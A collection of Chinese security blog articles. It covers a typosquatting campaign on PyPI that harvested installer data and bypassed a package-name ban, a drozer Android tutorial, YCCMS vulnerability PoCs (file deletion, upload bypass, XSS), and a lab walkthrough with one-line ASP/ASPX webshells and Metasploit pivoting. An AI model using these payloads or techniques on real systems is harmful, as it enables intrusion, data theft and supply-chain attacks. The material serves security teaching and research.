text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
作者：[ **fate0**](http://blog.fatezero.org/2017/06/01/package-fishing/?from=groupmessage&isappinstalled=0)
原文地址：[Package 钓鱼](http://blog.fatezero.org/2017/06/01/package-fishing/?from=groupmessage&isappinstalled=0)
###### 0x00 前言
前几天 Samba 公开了一个远程代码执行的漏洞，然后各种 POC 也随之出现， `exploit-db` 上也有这样一个 Python 版本的 [POC:
Samba 3.5.0 - Remote Code Execution](https://www.exploit-db.com/exploits/42060/).
直接执行 POC，报错误信息：
这种情况非常简单，直接 `pip install smb` 就行，但是：
好吧，我们还是需要 Google 一下这个 `smb` 的 package 名字，最后发现原来是 `pysmb`：
最后 POC 终于跑了起来。
我们再回过头来看看整个流程，似乎并没有什么地方不对劲。
直接说问题所在吧，如果你在 2017-05-24 到 2017-05-31 这段时间内执行过 `pip install smb` 或者 `pip
download smb`， 那么恭喜你，你的名字可能出现在我的绵羊墙上。
###### 0x01 试水 (2017-05-23 19:00)
第一天，我在 PyPI 上投放了 4 个 evil package: `python-dev`、`mongodb`、`proxy`、`shadowsock`
测试一下不检查 package、随意安装 package 的人有多少。
其中所有的内容都是用 `cookiecutter` 根据模版 [cookiecutter-evilpy-package](https://github.com/fate0/cookiecutter-evilpy-package/tree/cf812e1f44ca052b5e7055a8ff8cf5c4d81dcf98) 生成。
每个 package 都会收集用户的
* username
* hostname
* ip
* hostinfo
我选择了 GitHub Issues + webtask.io 的方式，将安装 evil package 的用户信息通过 webtask.io 中转到
GitHub Issues 上对外公开。
所以我就在 Github 上注册了个小马甲 [evilpackage](https://github.com/evilpackage) 专门提交
Issue。
因为 webtask.io 获取客户端 ip 的时候，其实获取到的是 webtask.io 前面 nginx 的 ip 地址，并不是用户的
ip，所以就只能在代码里面获取客户端的外网 ip. 使用 webtask.io 和 GitHub Issues 的主要原因是这两都是免费的。
###### 0x02 增加投放 package (2017-05-24 19:00)
查看了一天的 Issues 数量，大概有 700+，效果非常不错，决定继续投放 evil package。 与此同时，@ztz 同学也加入了游戏，也在
RubyGems 上投放 Gems。
继续投放 evil package，就必须想一些比较好的名字，我主要使用下面两种方法:
**1\. Google 搜索提示框**
直接根据 Google 的搜索框提示:
便收集到了没有在 PyPI 上注册，而且比较流行的 Package 名字:
* caffe
* ffmpeg
* git
* mkl
* opencl
* opencv
* openssl
* pygpu
* tkinter
* vtk
* proxy
**2\. 想象力**
依据平时写代码的经验总结出下面可能觉得会常用，但并没有在 PyPI 上注册的 Package 名字:
* ftp
* smb
* hbase
* samba
* rabbitmq
* zookeeper
* phantomjs
* memcached
* requirement.txt
* requirements.txt
其中 `requirements.txt` 并没有注册成功，稍后再说。
###### 0x03 暂停服务 (2017-05-25 23:00)
晚上回家的时候又统计了一下安装量，一天安装量达到了 2000+，效果已经很显著，不必再增加新的 package 了，但是到了晚上 23:00 的时候， 我的
GitHub Issues 被恶意插入脏数据，所以只能暂停服务：
之所以只能暂停服务，那是因为 webtask.io 没法获取客户端 ip，我也没法 ban 掉对应的 ip，作出任何相对的处理，只能停服务。
话说到底谁才是攻击者。
###### 0x04 evilpackage 被封 (2017-05-26 2:00)
我专门提交 Issue 的小马甲 [evilpackage](https://github.com/evilpackage) 因为触发了 GitHub 对
Spam 的检测，所以被封号了。 早上起床看到消息后，立马写邮件申诉，直到 2017-05-26 13:00 终于回复我的邮件了：
###### 0x05 放弃 webtask.io (2017-05-26 19:00)
为了避免和之前一样被恶意插入脏数据，决定要放弃 webtask.io，每月花费 $10 巨款购入一台 vps。
使用 nginx + flask 的配置，继续将 user data 提交到 GitHub Issues 上。
nginx 的 `ngx_http_limit_req_module` 模块最大能够支持 1s/m，也就是最多可以限制每个 ip 在每分钟内最多请求一次，
所以我们必须修改 `ngx_http_limit_req_module` 模块代码
// src/http/modules/ngx_http_limit_req_module.c
if (ngx_strncmp(value[i].data, "rate=", 5) == 0) {
len = value[i].len;
p = value[i].data + len - 3;
if (ngx_strncmp(p, "r/s", 3) == 0) {
scale = 1;
len -= 3;
} else if (ngx_strncmp(p, "r/m", 3) == 0) {
scale = 60;
len -= 3;
} else if (ngx_strncmp(p, "wtf", 3) == 0) {
scale = 1000;
len -= 3;
}
增加一个 `else if block`，直接将 scale 增加到 1000，这样就能限制每个 ip 在 16 min 内只能访问一次我们的接口，
除非使用大量代理，不然很难在短时间内插入大量脏数据。
###### 0x06 repo 被封 (2017-05-27 3:00)
早上起床刷新一下 GitHub Issues 页面，结果发现：
邮件：
赶紧先上服务器加上一行代码，将用户上传的数据先暂时存在本地（之前太懒）。 然后马上回邮件，问情况，两天后：
解封无望，之前的数据大概就是没了。
目前还能通过 GitHub Search 找到以前的部分数据 [GitHub
Issue](http://github.com/search?l=&q=repo%3Afate0%2Fcookiecutter-evil-pypackage&ref=advsearch&type=Issues&utf8=%E2%9C%93)
###### 0x07 写 web 界面 (2017-05-30 19:00):
由于之前一直在忙，最后拖到了30号才开始写 web 展示界面 http://evilpackage.fatezero.org/
也准备好新的 cookiecutter 模版 [cookiecutter-evilpy-package](https://github.com/fate0/cookiecutter-evilpy-package/commit/b1a968407b1a94b17298af969727848ad1325cae)
新的 cookiecutter 模版会提示用户安装了 evilpackage，并打开用户的浏览器去访问
http://evilpackage.fatezero.org/ ，让用户知道，自己已经是绵羊墙上的一员了。
计划打算第二天再往 PyPI 上提交新版本的 Package。
###### 0x08 清空 (2017-05-31):
早上查找资料的时候发现，原来已经有好几批人干过和我一样类似的事情了
* 2013-06-06: [requestes 0.0.1](https://pypi.python.org/pypi/requestes)
* 2016-01-25: [requirements-dev 1.0.0](https://pypi.python.org/pypi/requirements-dev/1.0.0)
* 2016-03-17: [Typosquatting in Programming Language Package Managers](http://incolumitas.com/data/thesis.pdf)
前两批都只是上传一个 package 用来提示安装用户，也防止恶意用户使用这些 package 名字，
后面一个小哥和我一样收集了用户不太敏感的信息，只不过他的数据一直没有公开。
过了一会 [@ztz](http://weibo.com/u/1260091985) 同学告诉我他的 RubyGems 被清空了。
再过了一会我这边也被 PyPI 管理员警告要删除账号了，所以我就把所有的 Package 给删除了，账号也给删除了。
目前为止所有的 package 又回到了 unregister 的状态, 任何人都可以继续注册使用我之前注册的 package.
###### 0x09 数据统计
目前我只能对在 http://evilpackage.fatezero.org/ 上那 10685 条数据进行统计
从 2017-05-27 10:38:03 到 2017-05-31 18:24:07，总计 106 个小时内， 有 9726 不重复的 ip 安装了
evil package，平均每个小时有 91 个 ip 安装了 evil package。
1.每个 package 命中排名:
2862 opencv
2834 tkinter
810 mkl
789 python-dev
713 git
683 openssl
535 caffe
328 ffmpeg
224 phantomjs
200 smb
191 vtk
179 pygpu
113 mongodb
70 requirement.txt
56 memcached
31 rabbitmq
15 ftp
14 shadowsock
12 samba
10 proxy
10 hbase
5 zookeeper
2.前 50 个国家命中排名
2507 United States
1667 China
772 India
481 Germany
448 Japan
331 France
319 Republic of Korea
306 United Kingdom
305 Russia
297 Canada
225 Brazil
183 Australia
179 Netherlands
167 Poland
147 Taiwan
129 Italy
127 Israel
126 Spain
106 Singapore
103 Ukraine
89 Hong Kong
87 Switzerland
76 Sweden
74 Turkey
60 Ireland
57 Vietnam
57 Iran
54 Belgium
53 Finland
52 Austria
49 Pakistan
49 Indonesia
47 Argentina
43 New Zealand
42 Mexico
41 Romania
40 Thailand
37 Norway
37 Czechia
31 South Africa
31 Denmark
31 Colombia
29 Portugal
29 Greece
29 Chile
24 Philippines
23 Malaysia
20 Hungary
20 Belarus
19 Nepal
3.每个访问排名
28 114.255.40.3
25 46.105.249.70
16 54.84.16.79
16 54.237.234.187
16 54.157.41.7
16 54.145.106.255
16 52.90.178.211
13 34.198.151.69
12 52.221.7.193
11 54.235.37.25
10 34.224.47.129
9 172.56.26.43
7 94.153.230.50
7 80.239.169.204
7 73.78.62.6
7 54.87.185.66
7 52.207.13.234
7 113.140.11.125
6 52.55.104.10
6 24.108.0.220
光从这几天来看，在 PyPI 上投放 evilpackage 的效果还是非常不错的， 每天都会有大概 2200+ 个独立 ip
进行访问，数据量稍微比之前那位小哥好一点， 也就是说，即便是类似的文章发出来，过了一年之后，随意安装 package 的这种情况完全没有改善，可能更严重了。
那位小哥释放掉所有的 package 之后，我作为一个 “恶意者” 再次使用他之前使用的 `git`、`openssl` 名字来统计数据， 我作为一个
“恶意者”，被官方勒令删除所有的 package，这些 package 名字再次被释放，我比较好奇下一位 “恶意者” 会是谁， 会在 package
里放什么？会是和我一样收集数据，还是直接 `rm -rf /`，还是勒索。拭目以待。
###### 0x10 requirements.txt
一般经常使用 Python 的人都知道 `requirements.txt` 是整个项目的依赖文件，一般这样使用：
pip install -r requirements.txt
不过也有可能一时手速过快，敲打成
pip install requirements.txt
所以 `requirements.txt` 也是一个比较好的 evil package 的名字
**诡异的`requirements.txt`**
在 2017-05-24 19:00 晚上，我尝试在 PyPI 注册上传 `requirements.txt` 的时候：
嗯，都失败了，但是 [GitHub
Issues](https://github.com/search?utf8=%E2%9C%93&q=repo%3Afate0%2Fcookiecutter-evil-pypackage+requirements.txt&type=Issues) 上竟然会有 153 个和 `requirements.txt`
相关的 Issues：
我并不怀疑这些 `requirements.txt` 数据的真实性，因为就没有人知道我尝试上传过
`requirements.txt`，所以这些数据肯定是真实的。
PyPI 上也并不存在 `requirements.txt` 信息，本地尝试安装也失败了，至今仍未明白这种情况为何发生。
**绕过 PyPI`requirements.txt` 的限制**
在 PyPI 账号被删除之后，我还是对 `requirements.txt` 很好奇，为什么之前 GitHub 上会有记录？ 能不能绕过 PyPI
的限制？下面简单讲一下如何绕过 PyPI 的限制。
我们直接查看提交 Package 时，PyPI 对 Package 名字限制的地方：
# from: https://github.com/pypa/pypi-legacy/blob/master/webui.py#L2429
@must_tls
def submit_pkg_info(self):
# ...
# ...
name = data['name']
version = data['version']
if name.lower() in ('requirements.txt', 'rrequirements.txt',
'requirements-txt', 'rrequirements-txt'):
raise Forbidden, "Package name '%s' invalid" % name
通过上面的代码，我们可以看到 PyPI 直接硬编码 `'requirements.txt'`, `'rrequirements.txt'`,
`'requirements-txt'`, `'rrequirements-txt'` 禁止用户上传这些文件。
我们再看看 `pip install xxx` 的时候，PyPI 是怎么查找 Package 的：
# from: https://github.com/pypa/pypi-legacy/blob/master/store.py#L611
def find_package(self, name):
'''Return names of packages that differ from name only in case.'''
cursor = self.get_cursor()
sql = 'select name from packages where normalize_pep426_name(name)=normalize_pep426_name(%s)'
safe_execute(cursor, sql, (name, ))
return [r[0] for r in cursor.fetchall()]
好吧，直接查找数据库，我们再跟下来看 `normalize_pep426_name`：
# from: https://github.com/pypa/warehouse/blob/master/warehouse/migrations/versions/3af8d0006ba_normalize_runs_of_characters_to_a_.py#L27
def upgrade():
op.execute(
""" CREATE OR REPLACE FUNCTION normalize_pep426_name(text)
RETURNS text AS
$$
SELECT lower(regexp_replace($1, '(\.|_|-)+', '-', 'ig'))
$$
LANGUAGE SQL
IMMUTABLE
RETURNS NULL ON NULL INPUT;
"""
)
op.execute("REINDEX INDEX project_name_pep426_normalized")
看到中间那个正则了吧，这也就意味着
pip install youtube-dl
pip install youtube_dl
pip install youtube.dl
pip install youtube-_-dl
pip install youtube.-.dl
这几条命令其实都是等价的，都是在安装 `youtube_dl`, 那么我们就可以很容易的就绕过 PyPI 的限制， 直接上传一个 `requiremnets
--txt`：
twine register dist/requirements--txt-0.1.0.tar.gz
twine upload dist/requirements--txt-0.1.0.tar.gz
来来来，我们直接尝试 `pip install requirements.txt`：
通过上面的图，我们可以看到 PyPI 已经返回我们的 package url， 到了 pip 准备安装这个 package 的时候报错了，所以直接看 pip
代码：
# https://github.com/pypa/pip/blob/master/pip/index.py#L650
if not version:
version = egg_info_matches(egg_info, search.supplied, link)
if version is None:
self._log_skipped_link(
link, 'wrong project name (not %s)' % search.supplied)
return
看了代码，也就是没法在 url 中获取 package 的版本号， 因为 package 的名字(`requirements--txt`)和搜索名字(`requirements.txt`)对不上，我们得找找其他方法：
# https://github.com/pypa/pip/blob/master/pip/index.py#L626
if ext == wheel_ext:
try:
wheel = Wheel(link.filename)
except InvalidWheelFilename:
self._log_skipped_link(link, 'invalid wheel filename')
return
if canonicalize_name(wheel.name) != search.canonical:
self._log_skipped_link(
link, 'wrong project name (not %s)' % search.supplied)
return
if not wheel.supported(self.valid_tags):
self._log_skipped_link(
link, 'it is not compatible with this Python')
return
version = wheel.version
看到这里，大家应该也知道了，之前我们一直都是使用 source 的方式提交 package，如果我们直接打包成 wheel，
根据上面的代码，就不会再报错了，我们重新打包，再次上传：
终于成功了，当然 wheel 安装方式并不能直接执行命令， 不过我们可以通过给 `requirements.txt`
添加一个恶意依赖达到执行任意代码的效果。
在这里，我就添加了一个名为 `ztz` 的 source package，用于提醒安装 `requirements.txt` 的用户。
###### 0x11 总结
最后还是提一下我是怎么被 PyPI 官方发现的，原因非常简单， 我之前每个 evil package 都是用同一个 cookiecutter 模版生成，
而每个模版的 short desc 都是 `just for fun : )`，所以在 [PyPI
首页](https://pypi.python.org/pypi) 刷了一排 `just for fun : )`。 就是因为这样简单的理由被发现。
但是如果，我为每个 evil package 准备不同模版，为每个 evil package 准备文档， 为每个 evil package 准备不同的
PyPI account 上传，每次上传使用不同 ip，在 PyPI 没有审核机制的情况下， 是很难将所有的 evil package 一网打尽，只能靠别人
report。
所以防御方案就完全不可能期待 PyPI 会做什么，只能提升自我对信息安全意识，对 PyPI 上不熟悉的项目一律采取不可信的态度， 意识到随意 `pip
install` 就和随意的执行 `exe` 一样危险。
想做一件坏事情真不容易，快去看看 http://evilpackage.fatezero.org/ 上面有没有你的名字。
* * * | 社区文章 |
drozer是一个用来审计安卓四大主件的漏洞检测框架，笔者最近也利用该框架对一些app进行了安全检测，取得了一些成果，觉得这个框架比较好用，于是想记录一下自己的实践经历。
1.运行环境是python2.7，也需要安装JDK。首先需要到官网下载相关软件：<https://labs.f-secure.com/tools/drozer/，需要下载msi和apk分别部署在电脑和手机上，apk用来做端口转发：>
但我从官网下载的msi运行不了，这里提供一个网盘链接，东西都打包好了：<http://pan.baidu.com/s/1gfI0hLT> 密码：c78h
其中 setup.exe 是安装在电脑上，安装也是一路next往下装就行， agent.apk
安装在手机或模拟器，我这里用了雷电模拟器，安装完毕之后，在模拟器运行drozer agent，然后点击右下角的“关闭”按钮开启agent，启动服务：
接着在C:\Users\用户名下新建一个.drozer_config文件，文件中添加如下内容：
[executables]
java=C:\Java\jdk1.8.0\bin\java.exe
javac=C:\Java\jdk1.8.0\bin\javac.exe
java和javac的路径按照自己的配置来更改就行。
在出现的“开启”按钮左边点击一下，出现如下画面就说明安装好了：
（如果是用真机话，需要用数据线连接电脑，并开启usb调试模式）
使用adb来操作drozer，为了方便可以将adb所在目录加入环境变量，手机端开启drozer
agent后，打开cmd命令行，切换到drozer的安装目录，输入adb forward tcp:31415 tcp:31415
进行端口转发，然后执行drozer console connect，出现下面的画面就说明环境搭建好了：
2.接下来介绍drozer的常用命令和笔者的实践案例：
查找攻击面: run app.package.attacksurface 包名
查看activity组件: run app.activity.info -a 包名
调用activity组件: run app.activity.start --component 包名 组件名,可以用来检测登陆绕过漏洞
查看Broadcast组件: run app.broadcast.info -a 包名
检测有没有拒绝服务漏洞：
发送空action: run app.broadcast.send --component 包名 广播名
发送空extras: run app.broadcast.send --action 广播名
查看Services组件： run app.service.info -a 包名
调用服务组件： run app.service.start --action 服务名 --component 包名 服务名
检测可以访问的URL： run scanner.provider.finduris -a 包名
查询URL的数据： run app.provider.query url
查找存在注入的点：run scanner.provider.injection -a 包名
检测目录遍历漏洞： run scanner.provider.traversal -a 包名
3.实践案例：
案例一：利用暴露的activity实现登陆绕过
首先使用drozdr检测app中暴露的activity，查看activity的命令见上文，这里可以看到暴露的主件还是有不少：
接着使用drozer命令调用这些暴露的activity，调用activity的命令见上文，根据笔者的测试，其中的一个activity存在登陆绕过缺陷，调用该activity后实现的效果如下：
在不需要账号密码的情况下即可登陆app：
案例二：主件拒绝服务漏洞
首先使用drozer检测app中暴露的广播主件，接着向暴露的主件发送空action检测拒绝服务是否存在 ，结果其中一个广播接到空action后就奔溃了：
4.对这些问题的一些修复建议：
1 将不必要导出的组件设置为不导出
2 在AndroidManifest.xml中，将activity的”android:exported”属性设置为”false”
这两个案例是笔者在对一些app进行安全测试的时候发现的问题，更多的知识我也还没接触到，哈哈。 | 社区文章 |
## **前言**
在逛CNVD时发现这款CMS存在不少常见的漏洞，并且看样子漏洞没有修复，一时好奇就下载下来看了看。经过简单的分析发现该CMS触发漏洞的方式挺常见的，正好可以从代码方面
分析一下这些漏洞的成因，加深对一些常见漏洞的理解
CMS下载地址: <http://ahdx.down.chinaz.com/202003/yccms_v3.4.rar>
## **基础知识**
该CMS采用的是MVC框架,MVC全名是Model View
Controller，是模型(model)－视图(view)－控制器(controller)的缩写。用一种业务逻辑、数据、界面显示分离的方法组织代码，将业
务逻辑聚集到一个部件里面，在改进和个性化定制界面及用户交互的同时，不需要重新编写业务逻辑。controller文件夹存放控制器文件,view文件夹存放视图文件,model文件夹存放数据文件
## **未授权更改管理员账号密码**
首先来看一下漏洞利用过程，在未登录的情况下构造url,只需要更改username password
notpassword的值即可更改数据库中admin账号的相关信息
去数据库中查看发现已经更改了账号密码
根据url来定位一下漏洞函数，函数位于controller\AdminAction.class.php中的update函数
public function update(){
if(isset($_POST['send'])){
if(validate::isNullString($_POST['username'])) Tool::t_back('用户名不能为空','?a=admin&m=update');
if(validate::isNullString($_POST['password'])) Tool::t_back('密码不能为空!','?a=admin&m=update');
if(!(validate::checkStrEquals($_POST['password'], $_POST['notpassword']))) Tool::t_back('两次密码不一致!','?a=admin&m=update');
$this->_model->username=$_POST['username'];
$this->_model->password=sha1($_POST['password']);
$_edit=$this->_model->editAdmin();
if($_edit){
tool::layer_alert('密码修改成功!','?a=admin&m=update',6);
}else{
tool::layer_alert('密码未修改!','?a=admin&m=update',6);
}
}
$this->_tpl->assign('admin', $_SESSION['admin']);
$this->_tpl->display('admin/public/update.tpl');
}
可以看到前面都是一些判断，重点关注下editAdmin()函数，该函数位于model\AdminModel.class.php
public function editAdmin(){
$_sql="UPDATE
my_admin
SET
username='$this->username',
password='$this->password'
WHERE
id=1
LIMIT 1";
return parent::update($_sql);
}
该函数的父类为Model, 位于model\Model.class.php，看一下update函数
protected function update($_sql){
return $this->execute($_sql)->rowCount();
}
调用execute函数去执行sql语句
protected function execute($_sql){
try{
$_stmt=$this->_db->prepare($_sql);
$_stmt->execute();
}catch (PDOException $e){
exit('SQL语句:'.$_sql.'<br />错误信息:'.$e->getMessage());
}
return $_stmt;
}
}
这一系列的操作主要是用来生成SQL语句然后执行SQL语句，editAdmin函数直接把传进来的username
password拼接到sql语句中，然后去更新相关表中id=1的数据，这也就造成了任意更改管理员账号密码
## **任意文件删除**
POST /admin/?a=pic&m=delall HTTP/1.1
Host: 127.0.0.1:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
Origin: http://127.0.0.1:8082
Connection: close
Referer: http://127.0.0.1:8082/admin/?a=pic
Upgrade-Insecure-Requests: 1
pid%5B0%5D=../1.txt&chkall=on&send=%E5%88%A0%E9%99%A4%E9%80%89%E4%B8%AD%E5%9B%BE%E7%89%87t
只需要更改pid[0]即可在无登录条件下任意删除文件，删除根目录下的1.txt
已经删除成功了
其实这还是犯了一个最容易犯的错误，没有对传进来的路径进行过滤就拼接了目录，导致了任意文件删除漏洞的产生
根据url定位到相关函数位置,位于/controller/PicAction.class.php
public function delall(){
if(isset($_POST['send'])){
if(validate::isNullString($_POST['pid'])) tool::layer_alert('没有选择任何图片!','?a=pic',7);
$_fileDir=ROOT_PATH.'/uploads/';
foreach($_POST['pid'] as $_value){
$_filePath=$_fileDir.$_value;
if(!unlink($_filePath)){
tool::layer_alert('图片删除失败,请设权限为777!','?a=pic',7);
}else{
header('Location:?a=pic');
}
}
}
}
对 pid传进来的值并没有进行过滤就进行了了路径的拼接，导致了路径穿越漏洞，触发任意文件删除漏洞
## **任意文件上传一**
在不需要登录的情况上传成功
定位到漏洞位置： controller\CallAction.class.php
public function upLoad() {
if (isset($_POST['send'])) {
$_logoupload = new LogoUpload('pic',$_POST['MAX_FILE_SIZE']);
$_path = $_logoupload->getPath();
$_img = new Image($_path);
$_img->xhImg(960,0);
$_img->out();
//echo $_path;
$_logoupload->alertOpenerClose('图片上传成功！','..'.$_path);
} else {
exit('警告：文件过大或者其他未知错误导致浏览器崩溃！');
}
}
然后跟进到类LogoUpload ,位于public\class\LogoUpload.class.php，上传首要关注上传是是否允许上传非图片格式的文件
private function checkType() {
if (!in_array($this->type,$this->typeArr)) {
Tool::alertBack('警告：LOGO图片必须是PNG格式！');
}
}
private $typeArr = array('image/png','image/x-png');//类型合集
根据Content-Type的值来判断是否是图片格式，只要Content-Type是这两种类型就可以，那直接伪造Content-Type就可以了
## **任意文件上传二**
在不需要登录的情况下可以看到已经上传成功，上传地址为E:/phpstudy/WWW/yccms/uploads/20200509133351770.php
定位漏洞位置为controller\CallAction.class.php中的xhUp函数
public function xhUp() {
if (isset($_GET['type'])) {
$_fileupload = new FileUpload('filedata',10);
$_err=$_fileupload->checkError();
$_path = $_fileupload->getPath();
$_msg="'..$_path'";
$_img = new Image($_path);
$_img->xhImg(650,0);
$_img->out();
echo "{'err':'".$_err."','msg':".$_msg."}";
exit();
} else {
Tool::alertBack('警告：由于非法操作导致上传失败！');
}
}
跟进到类FileUpload， 位于public\class\FileUpload.class.php，然后看到同样也是检查的传入的Content-Type的值
private function checkType() {
if (!in_array($this->type,$this->typeArr)) {
Tool::alertBack('警告：不合法的上传类型！');
}
}
private $typeArr =
array('image/jpeg','image/pjpeg','image/png','image/x-png','image/gif');
## **后记**
当然该cms还存在登录处验证码重放漏洞 反射型XSS漏洞
XSS payload http:xxx.xxx/admin/?a=html&art=<sCrIpT>alert(1)<%2FsCrIpT>&m=arts
对于任意文件删除漏洞，可以通过在拼接路径时先进行正则匹配过滤，或者通过加密的ID去删除，不要直接拼接路径
对于任意文件上传漏洞可以更换后缀的验证方式为白名单的验证方式
对于任意篡改管理员账号密码可以对传入的用户名进行校验是否是当前用户
对于上述所有的操作都要进行权限访问控制，不要进行未授权的操作 | 社区文章 |
# 从0到1学会搭建小型企业拓扑到由外向内的渗透测试
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
最近的一个培训活动，需要搭建一个小型企业网络环境，并针对整个企业环境做一个渗透测试评估，包括从企业网络拓扑规划、部署到企业网络内外网的渗透测试，整个详细过程如下。
## 拓扑规划
规划小型企业拓扑架构：使用`Cisco`模拟器`PacketTracer7`或`GNS3`进行拓扑的规划模拟
网络分布主要分为外网和内网两大部分，在边界路由器中外网IP段为：`192.33.6.0/24`、内网IP网段为：`192.168.9.0/24`
## 拓扑搭建
本地拓扑的搭建部署使用`vmware workstation`多台主机去真实部署。其中，边界路由器使用`Windows
Server2003`加持多块网卡，外网边界的网卡使用NAT模式正常建立外网的通信服务，内网边界的网卡使用仅主机模式，建立一个小型局域网。内部服务器包括WWW、DHCP等部署在一台主机`Windows
Server2003`中，当然这里可以使用多台主机分别部署相应的服务。内部普通主机用一台`Windows7`来表示。
### DHCP服务器搭建
内网DHCP服务器负责内网上线主机的IP分配，在搭建DHCP服务器的时候`vmware
workstation`中充当内网网卡的接口上需要去掉默认的DHCP配置，避免`vmware workstation`中DHCP服务的影响。
正式在`Windows Server2003`上部署DHCP服务
首先设置主机固定IP：`Network-192.168.9.50`、`Netmask-255.255.255.0`、`Gateway-192.168.9.254`
下来添加Windows组件进行DHCP服务的安装设置：在控制面板里面找到添加或删除应用程序，进入里面选择添加或删除Windows组件，找到网络服务开启动态主机配置协议(DHCP)
继续下一步设置DHCP地址范围、添加路由器（默认网关）、DNS
配置完成之后，回到桌面依次点击`开始-程序-管理工具-dhcp`进入dhcp服务中心，通过DHCP
Server的地址租约以及内网主机IP配置，查看DHCP给内网主机分配的IP情况
从上面可以看到dhcp服务正常运行，测试内网主机与服务器的连通性
### 内外网边界NAT
由于内网是一个小型局域网，所以在边界路由器还未做出相关配置时内网主机与外界的通信是隔离的，要想内网主机可以访问外网就需要在边界路由器上做NAT转换。
在桌面依次点击`开始-程序-管理工具-路由和远程访问`进入路由和远程访问服务器，Server中右键配置并启用路由和远程访问，之后开始配置网络地址转换(NAT)
边界路由NAT配置完成之后，在内网普通主机win7上进行测试：
从上图NAT配置之前之后对比可以看到NAT在内网访问外网的效果，那么外网对内网的访问效果又是如何呢，这里事实上外网主机是不能够直接与内网主机进行通信的，同时在外网的主机是不知道企业内网的拓扑结构情况。
### WWW服务器搭建
WWW服务器负责提供web站点部署公司网站发布重要信息等，这里使用Windows
Server2003+IIS进行部署：同样在控制面板里面找到添加或删除应用程序，进入里面选择添加或删除Windows组件，找到应用程序服务器在里面勾选`ASP.NET`和`IIS`进行安装。
相关组件安装完成之后，在桌面依次点击`开始-程序-管理工具-IIS`进入`Internet信息服务(IIS)管理器`中，在里面创建自己的web站点，这里可以禁用IIS默认提供的web站点`wwwroot`，自己创建并部署一个新的web站点`0791idc`
基本部署完成之后还需要在web服务扩展里面开启相应的服务扩展
一切部署完毕之后，开始在内网普通主机win7上测试www服务器web站点的工作情况
### WWW服务器发布
在企业边界路由器还未进行相应配置时，外网主机是无法直接访问内网中的www服务器也不知道内网的拓扑结构，但是企业肯定是需要外网主机可以访问自己公司的web站点服务，那么这个时候就需要在边界路由器设置端口映射，将内网www服务器发布出去，使外网主机可以正常访问内网所提供的www服务：在桌面依次点击`开始-程序-管理工具-路由和远程访问-SERVER-IP路由选择`找到`NAT/基本防火墙`然后右键本地连接（外网边界路由器网卡接口）进入本地连接属性勾选`Web服务器（HTTP）`进行设置内网www服务器的端口映射
边界路由设置完内网www服务器端口映射之后，测试外网主机`192.33.6.150`是否可以正常访问内网所发布出来的Web站点服务：注意访问的IP-192.33.6.200为外网边界路由器网卡接口IP
## Web渗透
### 信息收集
对网站进行敏感信息收集：此处使用[dirsearch: Web path
scanner](https://github.com/maurosoria/dirsearch)进行扫描探测
根据探测到的信息，访问`admin`路径，得到管理员后台
分析后台登陆存在账户名+账户密码+验证码三个字段来验证。首先探测验证码变化情况，拦截请求数据包发现在一个会话之内同一个验证码不影响拦截请求包的多次请求响应
既然验证码是上述那样的机制，那么就可以直接爆破后台管理员的账户和密码：使用burpsuite的intruder模块进行爆破，针对`UserName`和`Password`两个字段进行设置破解
从上可知得到一组管理员账号密码`admin1:123456`，使用admin1账户成功登陆后台进入后台管理界面
### 漏洞发现
在后台界面寻找可利用模块，首先在荣誉管理下添加企业形象中发现存在图片上传功能：抓包看是否能绕过限制上传Webshell，发现存在白名单限制，只能上传图片马`UploadFiles/2020621233114154.jpg`
一句话asp木马 <%eval request("Admin")%>
继续寻找是否存在其余可利用点，在系统管理界面下发现存在数据库备份功能，该功能可以修改服务器上任意原始文件名并重新备存保存在数据库备份目录下，于是可以尝试修改前面上传的图片马文件名称
可以看到修改成功，但是好像存在`.asa`后缀，不过使用`.asa`后缀是无法访问的，不加`.asa`后缀可以正常访问文件，怀疑是一个假后缀！！
### 漏洞利用
既然是假后缀，直接使用蚁剑进行连接管理上传的Webshell，连上Webshell之后却发现不能执行cmd命令。。。
针对这个问题怀疑是服务端asp不支持cmd的问题，既然这样尝试上传自己的`CMD.exe`却发现服务器不让上传`exe`可执行文件，而其他所有文件都可以上传。。。
没办法了只有尝试上传aspx的木马webshell【aspx与asp的差异性】进行利用：按照上面步骤上传aspx大马文件（或者简单一句话木马），使用大马文件中的执行cmd命令模块发现可以执行并有回显（这里使用一句话aspx木马蚁剑连接，虚拟终端也是可以正常使用的）
* 一句话木马aspx
一句话aspx木马 <%@ Page Language="Jscript"%><%eval(Request.Item["Admin"],"unsafe");%>
蚁剑虚拟终端：
(*) 基础信息
当前路径: C:/Inetpub/0791idc/admin/Databackup
磁盘列表: C:D:
系统信息: Microsoft Windows NT 5.2.3790.0
当前用户: NETWORK SERVICE
(*) 输入 ashelp 查看本地命令
C:Inetpub791idcadminDatabackup> whoami
nt authoritynetwork service
系统找不到指定的路径。
c:windowssystem32inetsrv>
* 大马aspx
由于查看web服务器系统权限为`authoritynetwork
service`，所以向服务器上传提权工具进行提权：上传目录为`C:RECYCLER`【为什么上传目录是这个目录呢，因为这个特殊目录在Windows中一般情况下不管什么用户都具有可写权限】
## 内网渗透
### 发现内网
在已经拿到的www服务器上查看web服务器的真实IP地址信息会发现，和访问的地址不一样，而查出的这个地址`192.168.9.50`是其真实的IP地址，也就是其所处的内网IP地址
### 探测内网
已经知道了www服务器的内网IP地址，也确定了存在内网，那么下一步为了方便，开始制作msf后门程序反弹一个shell给msf，以www服务器为跳板对内网就行进一步的探索与发现
这里使用msfvenom制作木马后门程序反弹shell给msf并在msf中开启监听（如果对方www服务器存在安全软件，就要考虑相应的免杀操作）
继续使用上面的Webshell-admini.aspx上传msf.exe到www服务器中，执行反弹shell给msf
在反弹回来的meterpreter中添加内网路由使得msf可以访问内网（msf以www服务器为跳板访问内网主机）
MSF的跳板功能，其实是MSF框架中自带的一个路由转发功能，其实现过程就是MSF框架在已经获取的meterpreter
shell的基础上添加一条去往“内网”的路由，此路由的下一跳转发，即网关是MSF攻击平台与被攻击目标建立的一个session会话。
MSF 路由添加帮助查询命令如下：
meterpreter > run autoroute -h
